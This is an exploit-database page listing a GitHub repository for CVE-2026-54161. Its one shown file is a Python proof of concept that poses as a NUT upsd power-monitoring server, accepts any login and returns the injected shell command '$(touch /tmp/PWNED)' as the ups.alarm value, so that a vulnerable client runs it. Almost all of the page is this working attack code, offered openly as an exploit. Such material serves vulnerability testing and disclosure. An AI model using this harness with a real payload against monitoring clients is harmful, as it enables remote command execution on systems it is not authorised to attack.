Exploit databaseDownload repository ZIP
GH-f6f5fa3744aa917231e98e4b89b0f531
ja-errorpro/cve-2026-54161
Sources for CVE-2026-54161
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files4
ja-errorpro/cve-2026-54161Revision db6234f4b3ff
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
mock_upsd.py
Python · 1,841 bytesimport socket, threading
HOST, PORT = "127.0.0.1", 3493
PAYLOAD = '$(touch /tmp/PWNED)' # attacker-controlled ups.alarm value
def handle(conn):
f = conn.makefile("rwb", buffering=0)
for raw in f:
line = raw.decode(errors="replace").rstrip("\r\n")
p = line.split()
if not p:
continue
cmd = p[0].upper()
if cmd in ("USERNAME", "PASSWORD", "LOGIN", "MASTER", "PRIMARY"):
f.write(b"OK\n")
elif cmd == "LOGOUT":
f.write(b"OK Goodbye\n"); break
elif cmd == "STARTTLS":
f.write(b"ERR FEATURE-NOT-SUPPORTED\n")
elif cmd == "GET" and len(p) >= 2:
sub = p[1].upper()
if sub == "VAR" and len(p) >= 4:
ups, var = p[2], p[3]
if var == "ups.status":
f.write(f'VAR {ups} ups.status "ALARM"\n'.encode())
elif var == "ups.alarm":
f.write(f'VAR {ups} ups.alarm "{PAYLOAD}"\n'.encode())
else:
f.write(f'VAR {ups} {var} "0"\n'.encode())
elif sub == "NUMLOGINS" and len(p) >= 3:
f.write(f'NUMLOGINS {p[2]} 1\n'.encode())
elif sub == "UPSDESC" and len(p) >= 3:
f.write(f'UPSDESC {p[2]} "evil"\n'.encode())
else:
f.write(b"ERR UNKNOWN-COMMAND\n")
else:
f.write(b"ERR UNKNOWN-COMMAND\n")
try:
conn.close()
except Exception:
pass
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT)); s.listen(8)
print(f"mock upsd listening on {HOST}:{PORT}, ups.alarm payload = {PAYLOAD}", flush=True)
while True:
c, _ = s.accept()
threading.Thread(target=handle, args=(c,), daemon=True).start()